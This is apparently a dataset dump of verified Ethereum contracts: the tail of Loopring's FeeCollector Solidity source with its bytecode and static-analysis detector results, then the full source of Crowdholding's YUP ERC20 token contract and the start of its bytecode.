require(canDrain(msg.sender, token), "UNAUTHORIZED");
if (token == address(0)) {
amount = address(this).balance;
to.sendETHAndVerify(amount, gasleft()); // ETH
} else {
amount = ERC20(token).balanceOf(address(this));
token.safeTransferAndVerify(to, amount); // ERC20 token
}
emit Drained(to, token, amount);
}
// Needs to return if the address is authorized to call drain.
function canDrain(address drainer, address token)
public
virtual
view
returns (bool);
}
// File: contracts/lib/AddressSet.sol
// Copyright 2017 Loopring Technology Limited.
/// @title AddressSet
/// @author Daniel Wang - <daniel@loopring.org>
contract AddressSet
{
struct Set
{
address[] addresses;
mapping (address => uint) positions;
uint count;
}
mapping (bytes32 => Set) private sets;
function addAddressToSet(
bytes32 key,
address addr,
bool maintainList
) internal
{
Set storage set = sets[key];
require(set.positions[addr] == 0, "ALREADY_IN_SET");
if (maintainList) {
require(set.addresses.length == set.count, "PREVIOUSLY_NOT_MAINTAILED");
set.addresses.push(addr);
} else {
require(set.addresses.length == 0, "MUST_MAINTAIN");
}
set.count += 1;
set.positions[addr] = set.count;
}
function removeAddressFromSet(
bytes32 key,
address addr
)
internal
{
Set storage set = sets[key];
uint pos = set.positions[addr];
require(pos != 0, "NOT_IN_SET");
delete set.positions[addr];
set.count -= 1;
if (set.addresses.length > 0) {
address lastAddr = set.addresses[set.count];
if (lastAddr != addr) {
set.addresses[pos - 1] = lastAddr;
set.positions[lastAddr] = pos;
}
set.addresses.pop();
}
}
function removeSet(bytes32 key)
internal
{
delete sets[key];
}
function isAddressInSet(
bytes32 key,
address addr
)
internal
view
returns (bool)
{
return sets[key].positions[addr] != 0;
}
function numAddressesInSet(bytes32 key)
internal
view
returns (uint)
{
Set storage set = sets[key];
return set.count;
}
function addressesInSet(bytes32 key)
internal
view
returns (address[] memory)
{
Set storage set = sets[key];
require(set.count == set.addresses.length, "NOT_MAINTAINED");
return sets[key].addresses;
}
}
// File: contracts/lib/Ownable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Ownable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// File: contracts/lib/Claimable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/lib/OwnerManagable.sol
// Copyright 2017 Loopring Technology Limited.
contract OwnerManagable is Claimable, AddressSet
{
bytes32 internal constant MANAGER = keccak256("__MANAGED__");
event ManagerAdded (address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager
{
require(isManager(msg.sender), "NOT_MANAGER");
_;
}
modifier onlyOwnerOrManager
{
require(msg.sender == owner || isManager(msg.sender), "NOT_OWNER_OR_MANAGER");
_;
}
constructor() Claimable() {}
/// @dev Gets the managers.
/// @return The list of managers.
function managers()
public
view
returns (address[] memory)
{
return addressesInSet(MANAGER);
}
/// @dev Gets the number of managers.
/// @return The numer of managers.
function numManagers()
public
view
returns (uint)
{
return numAddressesInSet(MANAGER);
}
/// @dev Checks if an address is a manger.
/// @param addr The address to check.
/// @return True if the address is a manager, False otherwise.
function isManager(address addr)
public
view
returns (bool)
{
return isAddressInSet(MANAGER, addr);
}
/// @dev Adds a new manager.
/// @param manager The new address to add.
function addManager(address manager)
public
onlyOwner
{
addManagerInternal(manager);
}
/// @dev Removes a manager.
/// @param manager The manager to remove.
function removeManager(address manager)
public
onlyOwner
{
removeAddressFromSet(MANAGER, manager);
emit ManagerRemoved(manager);
}
function addManagerInternal(address manager)
internal
{
addAddressToSet(MANAGER, manager, true);
emit ManagerAdded(manager);
}
}
// File: contracts/aux/FeeCollector.sol
// Copyright 2017 Loopring Technology Limited.
/// @title FeeCollector
/// @author Daniel Wang - <daniel@loopring.org>
contract FeeCollector is Drainable, OwnerManagable
{
function canDrain(address drainer, address /*token*/)
public
override
view
returns (bool)
{
return isManager(drainer) || drainer == owner;
}
// Allow receiving ETH
receive() payable external {}
}
|
0x6080604052600436106100cb5760003560e01c8063907d985b11610074578063e68777d71161004e578063e68777d7146102f1578063f2fde38b14610306578063f3ae241514610346576100d2565b8063907d985b14610240578063ac18de431461029c578063e30c3978146102dc576100d2565b806372311705116100a55780637231170514610143578063837971e4146101a85780638da5cb5b14610202576100d2565b80632d06177a146100d75780634e71e0c814610119578063715018a61461012e576100d2565b366100d257005b600080fd5b3480156100e357600080fd5b50610117600480360360208110156100fa57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610386565b005b34801561012557600080fd5b50610117610418565b34801561013a57600080fd5b50610117610534565b34801561014f57600080fd5b50610158610629565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561019457818101518382015260200161017c565b505050509050019250505060405180910390f35b3480156101b457600080fd5b506101f0600480360360408110156101cb57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610659565b60408051918252519081900360200190f35b34801561020e57600080fd5b5061021761082e565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561024c57600080fd5b506102886004803603604081101561026357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661084a565b604080519115158252519081900360200190f35b3480156102a857600080fd5b50610117600480360360208110156102bf57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610881565b3480156102e857600080fd5b50610217610975565b3480156102fd57600080fd5b506101f0610991565b34801561031257600080fd5b506101176004803603602081101561032957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166109bc565b34801561035257600080fd5b506102886004803603602081101561036957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b34565b60005473ffffffffffffffffffffffffffffffffffffffff16331461040c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b61041581610b66565b50565b60015473ffffffffffffffffffffffffffffffffffffffff16331461049e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105ba57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60606106547fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f8610bd6565b905090565b6000610665338361084a565b6106d057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216610716575047610710815a73ffffffffffffffffffffffffffffffffffffffff86169190610cd4565b506107d1565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b15801561078257600080fd5b505afa158015610796573d6000803e3d6000fd5b505050506040513d60208110156107ac57600080fd5b505190506107d173ffffffffffffffffffffffffffffffffffffffff83168483610d65565b6040805173ffffffffffffffffffffffffffffffffffffffff80861682528416602082015280820183905290517fbfd2431e6c719bec0308db4f4ed0afc39712d368867354c711a1ea1e384fa7819181900360600190a192915050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600061085583610b34565b8061087a575060005473ffffffffffffffffffffffffffffffffffffffff8481169116145b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461090757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b6109317fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f882610d76565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fef69f7d97228658c92417be1b16b19058315de71fecb435d07b7d23728b6bd3190600090a250565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60006106547fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f8610f92565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a4257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f554e415554484f52495a45440000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811615801590610a82575060005473ffffffffffffffffffffffffffffffffffffffff828116911614155b610aed57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f494e56414c49445f414444524553530000000000000000000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000610b607fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f883610fa8565b92915050565b610b927fae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f8826001610fe3565b60405173ffffffffffffffffffffffffffffffffffffffff8216907f3b4a40cccf2058c593542587329dd385be4f0b588db5471fbd9598e56dd7093a90600090a250565b600081815260026020819052604090912080549181015460609214610c5c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f4e4f545f4d41494e5441494e4544000000000000000000000000000000000000604482015290519081900360640190fd5b60008381526002602090815260409182902080548351818402810184019094528084529091830182828015610cc757602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610c9c575b5050505050915050919050565b6000610cf773ffffffffffffffffffffffffffffffffffffffff851684846111ff565b90508061087a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5452414e534645525f4641494c55524500000000000000000000000000000000604482015290519081900360640190fd5b610d718383835a61129c565b505050565b600082815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600181019092529091205480610e1757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e4f545f494e5f53455400000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526001830160205260408120556002820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055815415610f8c57600082600001836002015481548110610e8557fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff908116915084168114610f275780836000016001840381548110610ec657fe5b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff948516179055918316815260018501909152604090208290555b8254839080610f3257fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055505b50505050565b6000908152600260208190526040909120015490565b600082815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600101909152902054151592915050565b600083815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845260018101909252909120541561108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f414c52454144595f494e5f534554000000000000000000000000000000000000604482015290519081900360640190fd5b81156111525760028101548154146110fd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f50524556494f55534c595f4e4f545f4d41494e5441494c454400000000000000604482015290519081900360640190fd5b80546001810182556000828152602090200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85161790556111c0565b8054156111c057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4d5553545f4d41494e5441494e00000000000000000000000000000000000000604482015290519081900360640190fd5b60028101805460019081019182905573ffffffffffffffffffffffffffffffffffffffff90941660009081529190930160205260409020919091555050565b60008261120e5750600161087a565b600061122f8573ffffffffffffffffffffffffffffffffffffffff16611313565b60405190915073ffffffffffffffffffffffffffffffffffffffff821690849086906000818181858888f193505050503d806000811461128b576040519150601f19603f3d011682016040523d82523d6000602084013e611290565b606091505b50909695505050505050565b6112a884848484611316565b610f8c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5452414e534645525f4641494c55524500000000000000000000000000000000604482015290519081900360640190fd5b90565b6040805173ffffffffffffffffffffffffffffffffffffffff8086166024830152604480830186905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251825160009485938a16928792869282918083835b602083106113eb57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016113ae565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038160008787f1925050503d806000811461144e576040519150601f19603f3d011682016040523d82523d6000602084013e611453565b606091505b505090506114608161146b565b979650505050505050565b600081156114a2573d801561148b576020811461149457600092506114a0565b600192506114a0565b60206000803e60005192505b505b509056fea2646970667358221220f0fb48cd208ab708d902b7f3e309cdb1cad4f659982d9971552dec91929316b664736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,283 |
0xd9a12cde03a86e800496469858de8581d3a5353d
|
pragma solidity 0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract YUPToken is Ownable, StandardToken, CanReclaimToken, Pausable {
using SafeMath for uint256;
/****************************************************************************
NOTE: This is Crowdholding's YUP token smart contract, meant to replace the
initial YUPIE deployed at: 0x0F33bb20a282A7649C7B3AFf644F084a9348e933
****************************************************************************/
/** State variables **/
string public constant name = "YUP";
string public constant symbol = "YUP";
uint256 public constant decimals = 18;
address public timelockVault;
address public bountyFund;
address public seedFund;
address public reserveFund;
address public vestingVault;
uint256 constant D160 = 0x0010000000000000000000000000000000000000000;
bool public finalized;
event IsFinalized(uint256 _time); //Event to signal that contract is closed for balance loading
/** Modifiers **/
modifier isFinalized() {
require(finalized == true);
_;
}
modifier notFinalized() {
require(finalized == false);
_;
}
/** Constructor **/
function YUPToken(
address _timelockVault,
address _bountyFund,
address _seedFund,
address _reserveFund,
address _vestingVault
) public {
totalSupply_ = 445 * (10**6) * (10**decimals); //445 million tokens (with 18 decimals)
timelockVault = _timelockVault;
bountyFund = _bountyFund;
seedFund = _seedFund;
reserveFund = _reserveFund;
vestingVault = _vestingVault;
finalized = false;
/*********************************************************************
presaleShare => 109441916283952000000000000 //24.59%
crowdsaleShare => 90808083716048200000000000 //20.41%
bountyShare => totalSupply_.div(100); // 1%
seedShare => totalSupply_.div(100).mul(5); // 5%
reserveShare => totalSupply_.div(100).mul(10); //10%
futureUseShare => totalSupply_.div(100).mul(19); //19%
teamAndAdvisorsShare => totalSupply_.div(100).mul(20); //20%
*********************************************************************/
balances[timelockVault] = 193991920000000000000000000; //presaleShare + futureUseShare = 43.59%
Transfer(0x0, address(timelockVault), 193991920000000000000000000);
balances[bountyFund] = totalSupply_.div(100); //bountyShare
Transfer(0x0, address(bountyFund), totalSupply_.div(100));
balances[seedFund] = totalSupply_.div(100).mul(5); //seedShare
Transfer(0x0, address(seedFund), totalSupply_.div(100).mul(5));
balances[reserveFund] = totalSupply_.div(100).mul(10); //reserveShare
Transfer(0x0, address(reserveFund), totalSupply_.div(100).mul(10));
balances[vestingVault] = totalSupply_.div(100).mul(20); //teamAndAdvisorsShare
Transfer(0x0, address(vestingVault), totalSupply_.div(100).mul(20));
}
/** Overridden transfer method to facilitate emergency pausing **/
function transfer(address _to, uint256 _value) public whenNotPaused isFinalized returns (bool) {
return super.transfer(_to, _value);
}
/** Overridden transferFrom method to facilitate emergency pausing **/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/** Allows owner to finalize contract **/
function finalize() public notFinalized onlyOwner {
finalized = true;
IsFinalized(now);
}
/** Facilitates the assignment of investor addresses and amounts (only before contract is finalized) **/
function loadBalances(uint256[] data) public notFinalized onlyOwner {
for (uint256 i = 0; i < data.length; i++) {
address addr = address(data[i] & (D160 - 1));
uint256 amount = data[i] / D160;
balances[addr] = amount;
Transfer(0x0, addr, amount);
}
}
}
|
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e578063095ea7b3146101dc57806317ffc3201461023657806318160ddd1461026f57806323b872dd14610298578063313ce567146103115780633c21b9681461033a5780633f4ba83a146103945780634bb278f3146103a95780635c975abb146103be57806366188463146103eb57806370a08231146104455780638456cb59146104925780638da5cb5b146104a757806395d89b41146104fc578063a5917baf1461058a578063a9059cbb146105df578063aefea05314610639578063b3f05b971461068e578063b7f92b71146106bb578063c06c66ca14610710578063d0b2b57914610765578063d73dd623146107ba578063dd62ed3e14610814578063f2fde38b14610880575b600080fd5b341561015957600080fd5b6101616108b9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a1578082015181840152602081019050610186565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e757600080fd5b61021c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108f2565b604051808215151515815260200191505060405180910390f35b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109e4565b005b341561027a57600080fd5b610282610b53565b6040518082815260200191505060405180910390f35b34156102a357600080fd5b6102f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b5d565b604051808215151515815260200191505060405180910390f35b341561031c57600080fd5b610324610bb1565b6040518082815260200191505060405180910390f35b341561034557600080fd5b610392600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610bb6565b005b341561039f57600080fd5b6103a7610d5a565b005b34156103b457600080fd5b6103bc610e1a565b005b34156103c957600080fd5b6103d1610eec565b604051808215151515815260200191505060405180910390f35b34156103f657600080fd5b61042b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eff565b604051808215151515815260200191505060405180910390f35b341561045057600080fd5b61047c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611190565b6040518082815260200191505060405180910390f35b341561049d57600080fd5b6104a56111d8565b005b34156104b257600080fd5b6104ba611299565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050757600080fd5b61050f6112bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054f578082015181840152602081019050610534565b50505050905090810190601f16801561057c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059557600080fd5b61059d6112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105ea57600080fd5b61061f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061131e565b604051808215151515815260200191505060405180910390f35b341561064457600080fd5b61064c611370565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561069957600080fd5b6106a1611396565b604051808215151515815260200191505060405180910390f35b34156106c657600080fd5b6106ce6113a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561071b57600080fd5b6107236113cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561077057600080fd5b6107786113f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107c557600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061141b565b604051808215151515815260200191505060405180910390f35b341561081f57600080fd5b61086a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611617565b6040518082815260200191505060405180910390f35b341561088b57600080fd5b6108b7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061169e565b005b6040805190810160405280600381526020017f595550000000000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600260009054906101000a900473ffff